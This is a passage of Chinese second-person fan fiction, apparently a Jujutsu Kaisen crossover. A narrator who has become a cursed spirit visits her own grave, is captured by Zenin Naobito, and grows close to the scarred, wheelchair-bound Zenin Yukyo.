打发走第十个来搭讪的人之后,她和你旧话重提,你只好告诉她,你不喜欢女人。
“那你喜欢什么类型的男人?”
“我喜欢黑头发,绿眼睛的。”你捧着发烫的脸回忆了一下甚尔的样子,“性格什么的无所谓,长得要高一点。”
“看来你已经有意中人了哦。”九十九由基撑着下巴,脸映在酒馆的灯光下,十分漂亮。
“嗯。”你点点头,拿起杯子给自己灌了一大口,感觉那些热辣的酒液顺着喉咙滑下去,又从胃里升腾出一股暖意,烧得脑子晕乎乎的,“喜欢他很多年很多年了。”
“追到手了吗?”
你卡壳了一下,用力搓了搓脸,“现在还没有,还没想好怎么去见他。”
“这种事等见了面再想啊,喜欢的酒立刻去喝,喜欢的人立刻去见!小立夏,这可是姐姐的人生真谛!”九十九由基拍了拍你的肩膀。
你大概真的是喝一杯就上头的类型,立刻被激起了一腔热血,猛地拍了下桌子站起来,“我现在就去找他!”
你直接冲到了街上。
*
九十九由基找到你时,你蹲在十字路口的一根电线杆下面发呆。
“怎么在这里,没找到人吗?”
“看到了认识的人。”你盯着街对面的商场招牌下来来往往的人群,“你说,未来是可以改变的吗?”
“你这么说,难道是看见了未来吗?”
“……嗯。”大概是有些醉意,你的脑子转得比往常慢一些,“看到了,我不喜欢,但是……不知道该怎么办。”
“那就把未来变成自己喜欢的样子,不试试看怎么知道呢?”
“可是,如果变得更糟了怎么办?”你苦恼地把脸埋进臂弯,感觉头发被九十九由基揉了揉。
“担心变糟糕就不去尝试可不是我的风格,要是听我的建议——想做什么就去做吧,少女!”
九十九由基的声音里总是带着一股力量,像永不坠落的太阳,永不枯竭的泉水,熠熠生辉,生机勃勃。
你很想成为她这样的人。
“如果……”如果我想要的未来,永远不会到来呢。
“起来,姐姐带你去兜风!”
你被九十九由基从地上拉起来,直到耳边传来机车的轰鸣,你们两个嗖的飞出去,你才猛然意识到这算是酒驾。
“哇啊啊啊啊啊快停下来啊啊啊啊啊!!!”
你紧紧抱住了九十九由基的腰,耳边传来她肆意张狂的大笑,夏夜的风扑在脸上,带着令人舒适的凉,你在剧烈的风中睁开眼睛,看到了两旁快速倒退的灯影。
你们穿过隧道,穿过街市,沿着广濑川大桥一路疾驰。
“小立夏,夜景是不是很漂亮——”
“……嗯!”
你们最终被交警拦了下来,九十九由基跟他们交涉的时候,你忍不住在一旁大笑。人生中还有很多很多没有做过的事,你想拥有足够漫长的时光,将它们一一尝试。
*
你和九十九由基只过了短短的一个下午和一个晚上就成为了好朋友,你们在仙台城的遗址上看完了日出,九十九由基向你告别。
“打算去哪里呢?”
“得去见见我的小男友,不然他就要跟我闹别扭啦。”
你猝不及防吃了一嘴狗粮,九十九由基笑着掐了掐你的脸,“小立夏也要勇敢起来!只要努力过,得到什么结果都不会后悔。”
“等下次见面的时候,跟我说说你们的事吧~”
九十九由基来去如风,你坐在平台上,直到太阳升起来,才动了动酸涩的脖子往回走。
你来到了昨天就想进去看看的地方——一间画廊。因为不是周末,画廊里的人不多,你一眼就看见了站在一幅画前跟人说着话的青年。
他的头发被染成了金色,你原本以为他会在度过叛逆期后染回黑色,结果并没有。耳朵上倒是没有那么多乱七八糟的饰品,只戴着款式简单的耳钉,虽然目测价格超过了二十万日元。
你安静地看着他,观察着距离你们的上一次见面,他发生了哪些变化。
他变得成熟了很多,比起你,果然他更像你们的父亲,举手投足间已经褪去了年少时的冒失青涩,透着成年人的自信沉稳。
你看着他将那
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一位客人送走,在不被人察觉到的地方轻轻扯了扯领带,呼出一口气,那一瞬间仿佛还是那个二十出头的青年。
你笑着看他在画廊里转来转去,后来就不再注意他,转而去看他这些年来的作品。你看到了大片大片灿烂的花朵,他喜欢拍摄这些富有生机的存在,或是灿烂易逝的瞬间。
在他离家之前,你们的关系曾短暂的缓和过一阵子,他也曾为你拍过几张照,你很喜欢那些照片,只不过不知道它们现在又在哪里。
临近中午时,他终于有了休息的空隙。你跟着他来到后面的工作室,看着他把领带彻底扯开,靠在桌子边缘愁眉苦脸地打电话。
电话那头传来温柔的女声,很快,他的眉头松开了,脸上露出一种他从未在家人面前展现过的笑容。
真的不一样了啊。
你觉得自己该离开了。就在这时,你听到了自己的名字。你怔怔地看着他,他在提到你时表情没有太大的变化,像是提到一个陌路人,手指却不自觉地在桌面上敲了敲。
“……就今天下午……对,只有我们。”
*
见到自己的墓碑是一种怎样的体验呢?
你看着照片上面带微笑的少女,觉得陌生又新奇。你已经很久没有看到过这张脸,重塑的身躯模样与她不同,成为咒灵后也无法看见自己的样子,因此你仔仔细细地打量着她,像打量多年不见的好友。
原来我长这个样子啊。
你摸了摸自己的脸,转身坐在墓碑旁,看着面前的葵和他的女朋友,也可能是妻子。葵将一大束花放在了你面前,你往旁边挪了挪让开些位置。
“二十三岁快乐。”
什么嘛,你的生日根本不是这个时候啊。你眨了眨眼,眼眶一片湿热。
葵身旁的女人握住了他的手,他看着你,短暂的沉默,“我就要结婚了。”
噢,原来是未婚妻。
“恭喜你啊,葵。”你微笑着,哪怕他看不到,也听不到。
你以为他会想要再说些什么,但他只是在你的墓碑前久久伫立,然后反握住了身边人的手,“我们走吧。”
他们的背影越来越远,你靠在冰凉的石板上,鼻尖是花束的芬芳,你闭上眼睛,午后的日光透过眼皮,投下暗影。
“好不公平啊。就连那样的家伙,也成为了可靠的大人……”你忽然觉得有点冷,抱着膝盖,努力地把自己蜷缩成了一团。
*
华灯初上时,你回到了城内,街道比你想象中热闹得多,你走了一会,发现身边多了很多穿着浴衣的人,他们成群结队,像是要奔赴一场盛大的庆典。
你不太能想起来今天是什么特殊的日子,索性顺着人流往前走。
道路两旁的商店装饰一新,充斥着庆典的乐声和店家的吆喝,商店门口插着一根根长竹竿,新鲜艳丽的纸花彩球将它们压成弯弯的弧形,色彩缤纷的千羽鹤和短笺在风中飘荡飞舞。
你抬手抚开一簇又一簇垂落的彩带,挤在人群中穿过一道华丽的拱门,视野终于开阔,不远处的天空传来砰砰的炸响,绚烂的烟花倏忽出现,拖拽着璀璨的光羽坠入盈盈的广濑川,天地间一片灿金朱红青绿宝蓝瑰紫亦或纯白的光辉。你被人潮推涌着向前,耳畔是人们兴奋的叫喊,你终于想起了这一天,仙台一年一度的七夕祭。
“甚尔,烟花有什么好看的,那种东西整个夏天哪里都有啊。”
“可是夏天就要结束了。”
“这不是很好吗,又热又闷,我们快点走啦。”
你停下脚步,看着擦身而过的男女,男人将袖子从女人手中扯出来,转头看了眼天幕,猝不及防的与你目光相撞。
整个夏天,日本会举办将近一千场花火大会,在不刻意寻找的情况下,于几百万人中偶然相遇的概率有多小呢。
你不知道。
你们就这样站在人世的喧嚣和短暂的静默里,回望着彼此。
那是比刚与你分别的伏黑甚尔更年轻,比你记忆中的禅院甚尔更年长的他。你来不及看清太多,下一瞬,汹涌的人潮隔开了你们。
22. 两本童话
“怎么不走?”
女人拽了拽禅院甚尔的胳膊,禅院甚尔看着挤挤攘攘的人群,那一眼看到的比起真实,更像是他脑中的幻象。可是,连酒精都无法麻痹的大脑,真的会无端产生幻觉吗?
“我要去做一点私人的事情,改天再补偿你。”禅院甚尔看着身边明显不太开心的女人,俯身在她唇角亲了亲,“用不用先送你回家?”
“得了吧,我可不想占用你做私事的时间。”女人被哄得心情好了点,“下次直接来我家,你知道在哪。”
禅院甚尔漫不经心地和自己的金主道别,转身走入烟花下拥挤的人群中,他试图找到那个匆匆一瞥的身影,可是无论怎样寻找,都没能再看见。
与此同时,几乎看不见花火的高楼阴影中,你看着站在眼前的中年人,缓慢地露出微笑,“好巧啊,禅院先生。”
“果然是你啊,小丫头,变成咒灵了吗?”禅院家的现任家主,禅院直毘人手里抓着酒壶,靠着墙看着你。
“是啊。”你无所谓地耸耸肩,“您找我有什么事呢?我可没有到处害人哦。”
“咒术师在祓除咒灵的时候可不会看这个。”禅院直毘人把酒壶塞进袖子里。
“您要祓除我吗?”你握住了腰间的刀。
“只是想请你去禅院家做客,那里你已经很熟了不是吗。佑京因为你吃了不少苦头,不去看看他吗?”
“您这架势可不像是要请人做客。”你迅速看了看四周潜伏在暗影中的人,盘算着进攻和逃跑的最佳路线,“至于你说的佑京——完全不记得有这个人啊!”
你的刀落空了,这是理所当然的,你没有犹豫,直接蹬墙跳起来,转身一个横切,你打得很辛苦,用的是信长曾经帮你特训过的技巧,你很后悔自己没有趁机多学一点,幻影旅团那群人里面随便拎出来一个,实战经验都甩你几条街。
三叶还没有完全和你同化,咒灵的本体使用范围受限,硬碰硬肯定打不过。你试图找一个缺口突出重围,禅院直毘人还没有出手,你不能掉以轻心。
可恶!太可恶了!
这可能是你成为咒灵后最耻辱的时刻。
五条悟和夏油杰整天说你弱,但是没有真的和你动过手,导致你一直觉得自己可能没有那么差劲,毕竟三叶再怎么说也是个特级咒灵。
结果现在是什么情况啊,禅院直毘人只是个一级咒术师吧!你压根没有看清楚他出手的动作,反应过来的时候就已经被五花大绑扔在地上了。
你现在被禅院家的下属扛在肩上飞奔,禅院直毘人那个老头跑在最前面,你试图变回原形挣脱绳子,发现那根绳子应该是个特级咒具,不仅阻止了你变形,而且牢牢地捆住了你,没有留下一丝缝隙。
可恶!抓你居然要用上特级咒具,为什么这么大手笔啊!
“喂——老头——你该不会是要把我带回京都吧——”
你的发绳在风中乱舞,直接被吹得散开,你边喊话边吃了一嘴头发,整个人心态爆炸,什么优雅礼貌都见鬼去吧!你现在只想狠狠地骂人!
“你这样说话,我可什么都听不见啊,小丫头。”禅院直毘人刻意放慢速度到你身侧,丢下一句话。
在这种时候还指望你对他用敬语吗?
做梦去吧死老头!
*
你没有被带去京都。
真是谢天谢地。因为你一直以一种俯趴的姿势被扛着跑,胃里已经产生了恶心和呕吐感,再这么来上一两个小时,哪怕你什么都没吃也要受不了了。
你不知道自己被带到了哪里,远离七夕祭的预热场地后,哪里都是黑漆漆的一片天,路上也没什么行人,你只能根据路程推断出,已经出了仙台。
你被扔到了一个屋子里,地板虽然不脏,直接砸上去的感觉也是糟糕的。
“我以前没有得罪过你吧!”
禅院直毘人在你面前坐下来,拿出酒壶咕噜噜一顿灌,在你记忆里他就是这副嗜酒如命的样子,喝了这么多年身体竟然还硬朗,就很不可思议。
“既然不是要祓除我,捆着我干什么?”
你死活想不出自己有哪里得罪过他,只能归结于自己以前在禅院家过于横行霸道?
根本没有!你记得自己待人一向友善,而且甚尔是自愿跟着你的,更何况甚尔也不是他儿子,他犯不着因为这个记恨你。
禅院直毘人一直坐在那里喝闷酒,你发现问不出什么,索性也一声不吭地躺着发呆。九十九由基的话又一次在你的耳边回荡,刚刚如果伸出了手,结果就不一样了吧。
屋外传来了滚轮的声音,一个不耐烦的声音透过紧闭的门传进来,“老头,你找我最好是有什么重要的事。”
禅院直毘人走到了门边,因为你是面朝里被扔下的,只能听见脑后的对话。
“没事不能来看看你吗?最近过得怎么样?”
“我回去了。”那个声音对禅院直毘人的关心反应冷漠,滚轮声又一次响起,你意识到那应该是个轮椅。
“如果我说,我把小丫头给你带回来了呢?”
声音停止了。
你莫名有点紧张。你对屋外那个人的声音毫无印象,可无论是他还是禅院直毘人,都一副你们认识的样子,可是他到底是谁?
“……这不可能。”那个人的声音在颤抖,透着咬牙切齿的恨意。
“自己进去看看吧,佑京。”
禅院直毘人的脚步声走远了。
你依然挣脱不开那条绳子,也就没办法挪动身体,你能感觉到有人正在注视着你,那目光快把你烧出个洞来,让你一边浑身冒汗,一边毛骨悚然。
轮椅声进了屋子,停在你的身后,你等了很久也没有等到他的下一步反应。
“为什么回来?”
他问得没头没尾。
“这种事,不是我自己说了算的啊。”
你看着地板上的影子,判断着他大致的年龄和外貌。
那影子动了动,你的肩膀上倏忽传来尖锐的疼痛感,那个人的手指狠狠地掐进你的肉里,将你整个翻过来。
你看到了他的脸,半张银色的假面遮挡住右边的脸颊,露出来的半张脸模样清俊,但已经被他的表情完全破坏掉。
你从来没有见过这样痛苦的表情,泪水从他的眼睛里流出来,爬满了面颊,面部的肌肉抽搐扭曲,你能感觉到他在紧紧地咬着牙,仿佛不这样做就会直接一口咬上你的脖子。
他在恨着你。
但他的眼睛里又盛满了悲伤,就像看到你使他痛苦,看不到你亦然。
你看着他的眼泪,心脏仿佛跟着抽痛了一下。你不想看到他哭。
“你……”
你刚一开口,他就猛地松开了你的肩膀,仓皇地别开脸,滚着轮椅倒退了几步,停在屋子的门口。
“你不应该回来。”
再开口时,他的声音冷静很多,带着压抑过久的喑哑。你能感觉到他想要尽可能表现得冷漠,话语间却透露出另一层意思。
“这里……有危险吗?”
*
她总是这么敏锐,从前也是,什么都知道,什么都不说,把他耍的团团转。不,她已经拒绝过自己了,是他不甘心,一厢情愿地想要讨好她。
禅院佑京捏紧了轮椅的扶手,看着侧躺在地上的加贺见立夏。他毫无办法,她只是看着他,他就已经溃不成军。
你不知道轮椅上的人在想什么,他在你问完那句话之后长久的沉默,像是陷入一大段回忆里。
“佑京……”
那个人猛地惊醒,带得轮椅都震了一下,“你说什么?”
“佑京,你是叫这个名字吗?抱歉,我想不起来关于你的事……真的很抱歉。”你尽可能地让自己显得诚恳。
“……原来是这样。”
你发现轮椅上的人竟然松了口气。难道你在他印象中很可怕吗?你越来越搞不懂自己以前在别人眼中的形象了。
“等等!”你发现他有想走的迹象,立刻喊住了他,“可不可以,帮我换个姿势啊?地板有点凉。”
你承认自己在试探他,你需要知道他究竟是敌是友,禅院直毘人的想法你不清楚,但你急需一个摆脱困境的办法。你可不能指望别人来救你。
*
禅院家的咒具真是千奇百怪。
在禅院佑京的要求下,你不用再被绳子捆着在地板上过夜了,但是需要换上另外的咒具,目的是限制你的行动,防止你在禅院直毘人不在的情况下逃走。
没错,你观察了一下这座宅子里的战斗力情况,发现除了禅院直毘人,其他人都构不成威胁,尤其是禅院佑京,他身上的咒力稀薄得像个普通人。
你换上了一副脚镣。如果不选它,就要被迫在耳朵上钉钉子,一定很痛。
禅院佑京和你一起否决了耳钉的提议,他看起来对脚镣也不太满意,但没有更好的选择了。
你觉得最好是不要用咒具,虽然那样你一定会立刻逃之夭夭。
新换的脚镣很重,你走路的时候迈不开脚,并且走几步就要休息,非常折磨人。
不过
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你每天也没有什么要做的事,基本上是推着禅院佑京的轮椅到处逛,有时候逛着逛着你们双双发呆沉思,一天就这样过去了。
你很在意那天禅院佑京对你透露出的信息,想知道究竟有什么危险。在你看来,最大的威胁就是三叶的意识,但它现在已经不足为惧。
同时,你也想知道你到底给禅院甚尔留下了什么,才让他在六年后对你露出那种表情。
“佑京,今天想去哪里逛逛呢?”
你打量着禅院佑京的脸色,他刚吃过早饭,平日里总是苍白的脸颊多了丝血色,黑眼圈很重,看来前一天晚上又没有睡好。
餐桌上的食物没有动多少,他常年胃口不好,你怀疑他的身体这样糟糕,有一半是被他自己折腾出来的。
“你想去哪里,就去哪里吧。”他撑着下巴,半阖着眼,一副精神很差的样子。
“我觉得你需要休息哎。”
你在他面前蹲下来,仔细看了看他眼睛里的红血丝,他往椅背上缩了缩,又艰难地放松了身体,“不要靠得这么近。”
“好吧。”你点点头,“那要去休息会吗?”
禅院佑京皱起眉,厌恶地摇摇头。
于是你推着他出了门。
禅院直毘人不在的时候,你的日子过得还是挺轻松的,这座宅子里的人都听禅院佑京的,而禅院佑京在某种程度上对你相当纵容。似乎只要你不试图逃跑,做什么都可以。
你们这次出门也没有受到任何阻拦,不过你知道有一批人一直在暗中跟着,监视你的同时,保护禅院佑京。
你倒没有觉得他们小题大做,以禅院佑京的身体状况,哪怕你完全没有咒力,要解决他还是容易的,不过你没有这个想法。
禅院佑京不太喜欢出门。
你们所在的地方叫藏王町,距离仙台市不远,人口要少得多,你发现这里几乎人人都认识禅院佑京,虽然他们都不知道禅院家,也不知道他的名字。他们会在遇见他时停下来打招呼,喊他“京先生”。禅院佑京对这些感到厌烦,因此一两次之后,你会特地选些人少的路,或者在没人的时段出门。
整天闷在屋子里是不行的,宅子再大也不行,你觉得不管是你还是他都需要经常透气。
你推着他走到一片树林旁,天气不错,阳光透过树梢照下来,温暖又不刺目,你把轮椅停在那里,朝树林里张望。
“现在不是它们活动的时间。”
禅院佑京一眼就看穿了你的意图,你笑眯眯地从袖子里掏出藏好的肉干塞到他手里,“你来试试?”
你不是第一次撺掇他干这种事,禅院佑京接过了肉干,犹豫了一下,随便往树林里丢了丢。你们原地等了一会,没什么动静 。
“回去吧。”禅院佑京的手搭上轮椅,你拦住他,又掏出了一串葡萄。禅院佑京瞪大了眼睛,看着你的袖子,“你到底往里面放了多少东西?”
“不多不多,再用这个试试吧。”
你笑着推着他往树林靠了靠,禅院佑京拎着那串葡萄,好一会没说话。
“你为什么觉得狐狸会喜欢吃这个?”
“童话书里是这么写的嘛。”你盯着树林内部的情况,突然看见了一双白色的尖耳朵,兴奋地拍了拍他的肩膀,压低了声音,“哎,来了来了。”
“嗯。”
你们一同屏息,看着那只白色的小狐狸朝这边靠近。为了防止吓到它,你很克制地没有发出任何动静。禅院佑京伸出了手,那只小狐狸在地上刨了刨爪子,一下子跳进他怀里。
“看嘛,它果然很喜欢。”
你蹲在禅院佑京身旁,看着他一边给小狐狸喂葡萄,一边轻轻地顺着狐狸毛,他的动作顿了顿,抬头看你。
“你……想摸摸看吗?”
虽然你很想这样做,但你还记得小动物对咒灵的气息很敏感,所以你摇了摇头,“我看看就行啦。”
“试试吧,它应该……不会跑。”
“那好吧。”
你小心翼翼地伸手,碰了碰狐狸耳朵,那一瞬间,小狐狸浑身的毛都像是要炸起来,被禅院佑京很快地安抚住了。
你噗嗤一声笑了。
“就不要为难人家啦,好不容易才骗出来一只呢。”
禅院佑京没再说话。你看着他帮小狐狸梳理毛发,小狐狸直接在他膝上打起了盹,忍不住说,“佑京,你好温柔啊。”
禅院佑京手上一抖,小狐狸叫了一声,从他身上跳下来跑走了,他慢慢地把两只手交握在一起,靠回了椅背上,“我们回去吧。”
23. 三场大雨
你们回去得还算及时,走到半路突然间乌云密布,酝酿起夏末的一场大雨。你加快了步子,豆大的雨点从天空中砸下来,幸好尚未连成一片,你们就遇到了从宅子里找出来的人。
你退后几步看他们如临大敌般给禅院佑京裹上好几层衣服,几乎将他身边围得密不透风,才簇拥着他往回赶。
你没办法走得太快,落在后面,禅院佑京让其他人停下来带上你,于是你就像被抓过来的那天晚上一样再次被人扛到了肩上。如果你不是咒灵而是人类,这样的经历足够让你社死一万次。
直到你们回到宅子里,大雨才彻彻底底的浇下来。你发现仆人们依然没有放松警惕,想着他们的反应会不会过于夸张,结果还没到晚上,禅院佑京就发起了高烧。
这座宅院平日里总是很安静,即便在这种时候,依然如此。每个人都步履匆匆,做着自己份内的事,只有空气里隐隐透出压抑焦灼的气息。你上一次见到这样的场景,还是在医院。
这意味着这种情况并不是头一回发生,很可能,这是禅院佑京最常经历的事。
但你尚未习惯。作为一只行动不便的咒灵,你没办法跟着跑前跑后,只能蹲在禅院佑京的床边查看他的状况。这个时候倒没有人在意你是否会趁机对他不利,所有人都在忙着自己的事。
你干脆拿毛巾帮他擦汗,他的脸泛着不正常的红,细细密密的汗珠一层层的往外冒,像是要把他整个人都蒸干。他的嘴唇仍是苍白的,上面有些干裂起皮,你沾了些水抹上去,就像雨水滴到荒漠里,很快就消失了。
*
禅院佑京陷在一场梦魇中。这场梦魇缠绕他多年,他反反复复地经历,在无数个夜晚重复着同一种痛苦。或许,他不该称之为痛苦,因为只有在这样的梦魇中,他才能见到她。
加贺见立夏站在他面前,那双总是注视着禅院甚尔的眼睛里,头一次出现了他的身影,他焦急地呐喊,她的脸上露出恰到好处的疑惑与为难。
“究竟发生了什么事呢?佑京君,你不说清楚的话,我是不会跟你走的。”
他的声音堵在喉咙里,着急得快要哭出来,他不得不去拽她的手,将她带离这个快要崩溃的世界。
漫天火光里,他紧紧握着加贺见立夏的手,拉着她一路奔逃。她的呼吸声是那么的真实,连同被他抓在掌心的温度,一声声,一下下,击打在他的心脏上。
这是一场只属于他们的逃亡。
但它很快就迎来了尽头。他只能拼命地将她推离,告诉她,不要回来!永远也不要回来!他松开了她的手,巨大的黑影将他转瞬吞没,火与血的气息一并灼烧着他的身体,无穷无尽的痛苦。
你发现禅院佑京开始颤抖,牙齿咯咯作响,那些汗珠一滴滴顺着他的脸颊往下滚,渗进面具的边缘。你只犹豫了一下,就伸手将那半张面具摘了下来。
仆人们没有阻止你的动作,你抓着面具,看着禅院佑京的右脸,那里的皮肤已经被完全烧毁,像融化后再次凝固的蜡,呈现出模糊的形貌,额角是一道划至眼尾的伤疤,因为伤口过深,至今也还向下凹陷着。
那一定很痛。
你调整了下呼吸,将手掌轻轻地挨到他的脸上,过高的热度霎时传来,他却像得到了安慰,松了松眉头。
只是一场美梦而已。
你看着禅院佑京,发动了三叶的第二个术式,它曾在你还是葵的时候困扰过你很久——三叶会吞噬掉人类的情绪,喜悦、愤怒、恐惧,都可以成为它的养分。你现在,想用它让禅院佑京好好睡一觉。
你从房间里走出来,看到了站在门外的禅院直毘人。
“你很闲吗,怎么总是往这边跑?”
你走到他身旁,将手臂搭在栏杆上,层叠的雨幕遮挡住视线,就连对面的屋子也看不清楚。
“佑京他怎么样了?”
“我又不是医生,我怎么会知道。”你看着庭院地面上溅起的水花,“他是怎么变成现在这个样子的?”
“恐怕只有他自己知道了。”禅院直毘人靠着栏杆,身上一股酒气,“不如你等他醒了去问问他,说不定他会愿意告诉你。”
“你把我留在这里,是为了佑京?”你没等他回答,率先摇了摇头,“你那天抓我时那么大的阵仗,不可能只是为了这个,我记得你最开始说要带我去禅院家,你是因为佑京,才改了主意吗?”
“小丫头,我只是一个担心儿子的父亲而已。”
你转过头,看着禅院直毘人,“就算他是你的儿子,现在的他对禅院家也毫无用处,你这样做,会被人抓住把柄。”
“这些事可轮不到一个小丫头来替我操心。”禅院直毘人大笑着转身离开,“佑京就拜托给你照顾了,省的这小子醒过来看见我又不高兴。”
“谁要替你照顾儿子啊。”
你这样说着,还是回到了房间,外面正下着大雨,除了这里,也没有别的地方能去。
禅院佑京的状况好了很多,不再发抖,也不再冒虚汗,他安静地陷在被子里,头发被汗完全打湿,眉头倒是松开了,脸色看着也比之前好些,闭着眼睛,睡得很安稳。
在他恢复稳定后,房间里的人就都退了出去,你没办法跪坐,干脆直接在床边的地板上躺了下来。
禅院佑京很少有自然睡醒的时刻。
他睁开眼,被汗水浸透的衣服贴在身上,不太舒服,但他却浑身犯懒,不想动弹。似乎因为那个难得的美梦,那些终日折磨着他的伤痛短暂的远离了他。
再躺一会吧,一会就好。
产生这样的想法时,他注意到了一旁浅浅的呼吸声。他侧过头,看到了蜷缩在身边的加贺见立夏。这一刻,他恍惚以为自己仍在梦中。
禅院佑京下意识放轻呼吸,动作小心地坐起来。然后他发现,自己的袖子被她抓在手中。他的心跳霎时乱了节拍。他茫然无措地看着她的手,目光落在她的脸上。
下一秒,禅院佑京猛地睁大双眼,用尚能自由活动的那只手摸上了自己的右脸,那里空无一物。
他的脑子里顿时一片空白,呼吸不受控制地变得急促,手指紧紧地抓着被子,手背上青筋暴起。
“你怎么啦?还有哪里不舒服吗?”一只温热的手抚开他的头发,贴上他的额头,“嗯……确实已经退烧了呀。”
禅院佑京看着加贺见立夏近在咫尺的眼睛,也看见了倒映在她眼中的自己。
“你……”他难以忍受地移开视线,意识到自己的声音也变得沙哑难听,“不觉得恶心吗?”
“你指的是哪里?”
加贺见立夏的呼吸很近,手指从他的额角缓慢地滑下去,让他有一种被灼烧的痛感,“这些伤,很痛吧。”
禅院佑京说不出话来,他想要阻止加贺见立夏的动作,却提不起任何反抗的力气,只能徒劳地闭上眼睛。
“如果这些伤,是因为我……”加贺见立夏的指尖停留在他唇边,然后她用两只手轻轻捧住了他的脸,禅院佑京睁开眼睛,对上她歉疚的目光,“真的对不起。”
“对不起,让你伤得这样重。对不起,
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在这一切发生之后忘了你。”
*
关于你和禅院佑京之间的过往,已经很清楚了。在你的记忆中,唯一存在的大片缺失,就是你死前的那一段。
你只记得自己的意识和三叶不断地争斗,最终你的身体被三叶撕碎吞噬,你的意识和它的混在一起,一同掉入了一个地方。再后来,你就成为了三叶葵。
但这一切是怎么发生的呢?
你丢失的那段记忆,就是造成禅院佑京现状的原因。而在这段空白之前,你的生活似乎非常平静。
那段时间,你忙于公司里的事务,几乎没有空去管其他的事,就连午饭也经常忙到忘记,需要禅院甚尔来提醒你。
而且,在那时,三叶进入了短暂的休眠期,没怎么到你的梦里来打扰你,你已经计算好,等它下一次醒来,恰好是你腾出手的时候。
但这一切,似乎被什么东西打乱了。
你想起和禅院直毘人的对话,他没有否认你的推测,所以你确定至少禅院家有人想要捕获你。或者说,捕获三叶。
在06年,除了三叶本身以外,你没有感受到任何来自外界的威胁,所以这件事在06年以前一定会结束,这让你有了稍许的安心感。
你目前待在禅院佑京这里,看起来很安全,但潜在的危险一日不解决,这样平静的生活迟早有被破坏的可能,这是你不愿意看到的。
除此以外,你很想去见禅院甚尔,最开始你总是担心会发生一些无法预料的事。伏黑甚尔什么都不告诉你,你只能自己猜,甚至想过干脆不要去见他。可是,你真的开始想念他了。
*
“就算待在屋子里不出门,天气变差的时候也会难受吗?”
禅院佑京抿着唇,几不可查地点头。他的额上沁着冷汗,脸色苍白。你将手放在他的膝上,能感觉到他在轻轻打颤。
你把他的手从袖子里拿出来,将一个暖炉放到他手心,然后掌心贴着他的手背将他的两只手都包住。
“……谢谢。”禅院佑京的耳廓微红,这可能是他脸上唯一的血色。
入秋以来,天气逐渐转凉,气温本来不该下降得这么快,但藏王町地处东北,原本就比其他地方温度更低。你看着禅院佑京的样子,很难想象他要怎么在这种地方过冬。
禅院家所在的京都气候就不错,哪怕禅院佑京选在东京,也比跑这么远到这里住更好。
你这么想着,就问了他。
“只是想看看秋天的红叶。”
你对他的回答感到有些意外,想起最近恰好快到这样的时节,就提议道,“等你的身体恢复些,我们可以一起出门看。”
“好。”禅院佑京露出很浅的微笑。
他自从那天被你摘下面具后,与你独处时渐渐也不会戴着它,你觉得这样很好,伤口上一直压着东西总是不利于恢复的。
他刚开始有些不适应,但你觉得这些伤并不影响什么,尤其当你想到他会变成这样是因为自己,你就时常感到负债累累。
“既然约好了,就别在这里吹风了,我们去里面下棋吧。”
禅院佑京点点头,于是你松开他的手,转到他身后推着他回到了房间里。
禅院佑京不喜欢待在自己的房间,大部分不出门的日子,他都坐在后厦发呆。虽然在你看来,他的房间又宽敞又舒适,并且每天都被打扫得很干净,没有什么可挑剔的。
后来你发现,他只是不想一个人待在房间,在你来到这里之前,他应该独自度过了很多那样的时刻。
24. 四点微光
“那个……会难受吗?”
你并不意外他会问出这个问题,随着你们独处时间的延长,禅院佑京的目光越来越久地停留在你的脚镣上。每当你走动时,那些声音在本就安静的屋子里格外的引人注意。
“习惯了也还好。”
你无所谓地笑了笑。你现在走起路已经没有刚开始那么吃力,你觉得它们很好地锻炼了你的腿部力量,等以后摘掉了一定能跑得更快。
禅院佑京皱着眉,他的表情看上去很纠结。你轻轻转动着手里的棋子,看着坐在对面的他,觉得这样的自己很残忍。
“我帮你拿掉它吧。”说出这句话后,禅院佑京脱力似的往后靠,黑色的眼睛看着你,显得有些无助和可怜。
“你不担心我会趁机逃走吗?”你毫不闪躲地迎着他的目光。
“你会吗?”他的声音很轻。
“我答应过你,要一起去看红叶的呀。”
你微笑着站起来,撑着桌子俯身靠近他,直直地看向他的眼睛。禅院佑京的眼睫颤了颤,眼中迅速蓄起一层水雾,没等你看清,他立刻闭上眼睛,侧过了头。
禅院佑京在午饭后取来了钥匙,你不知道他有没有告诉禅院直毘人,你猜他没有。开锁的时候你表示可以自己来,他摇头拒绝了。
他手上的温度比一般人要低,因为最近的天气,甚至有些凉,你的脚踝被他很小心地握住,镣铐在你的皮肤上不断磨出伤口,又被你的身体自行修复,现在那里只是看起来有些红,他低着头,指腹在上面很轻地蹭了蹭。
你不知道他在想什么。当他垂着眼时,眼睫会显得格外的长,禅院家的人,似乎总能遗传到这样的外貌特征。
咔哒。你的左脚被解放出来。
你迅速从他的腿上拎起了那一串锁链,他松开你的脚踝,示意你把另一只脚也交给他。
“抱歉。”
禅院佑京轻轻呼出一口气,把钥匙对进锁孔,慢慢拧动。不过是重复刚才的动作,他的掌心有些出汗,沾到了你的皮肤上。
你把解下来的咒具抱在怀里,看着他。
“佑京,可以松手了哦。”
他松开了手,你感觉到一阵轻微的凉意,从刚刚被他圈住的地方传来。
没有了咒具的限制,你终于可以自如地使用咒力,脚步也终于轻快起来。你兴奋地在屋子里来回转圈,踱到禅院佑京面前,蹲下看着他,“你想不想出去玩?”
禅院佑京的眼中透出些茫然。
你觉得自己有点像故事里诱拐大小姐的穷小子,你们支开了仆人和那些暗中跟着你们的人,假装要在屋子里待一下午,实际上悄悄找了空隙溜出去。
禅院直毘人不在的情况下,做这种事简直不要太轻松。你背着禅院佑京,顺利地出了居民区,来到了你觊觎已久的大山上,你找了一片干净有阳光的地方把他放下来。
“等我一会哦。”
禅院佑京点了点头。
你直接化作原形钻进了林子里,再次出现时,你左手一窝嗷嗷叫的小白狐,右手一大串野果,把它们全都放到禅院佑京怀里。
“你在干什么啊?”禅院佑京颇有些慌乱地将那几只狐狸都兜起来,没顾得上的果子直接滚了一地。
你笑嘻嘻地将地上的果子都收拢起来,堆在他旁边,“我想和它们玩嘛。”
“你喜不喜欢红色的呀,我在那边还看见了一窝哦。”
禅院佑京无奈地摇头,“待会它们的父母回来,找不到它们,会担心的。”
“啊,那就一起带过来好了。”你觉得这是个好主意,你想象了一下各种花色的狐狸围着禅院佑京叫唤的样子,觉得非常有趣。不过你没能付诸行动,因为禅院佑京拉住了你的手腕。
你在他身边坐下来。
“它们真的很喜欢你。”那几只小狐狸被你找到时一路都在发抖,现在都各自在他怀里找到了舒服的位置缩成了一团。
“嗯。”禅院佑京没有戴面具,完整的脸暴露在并不灼热的日光下,眼睛里倒映着柔和的光,显得格外清澈。
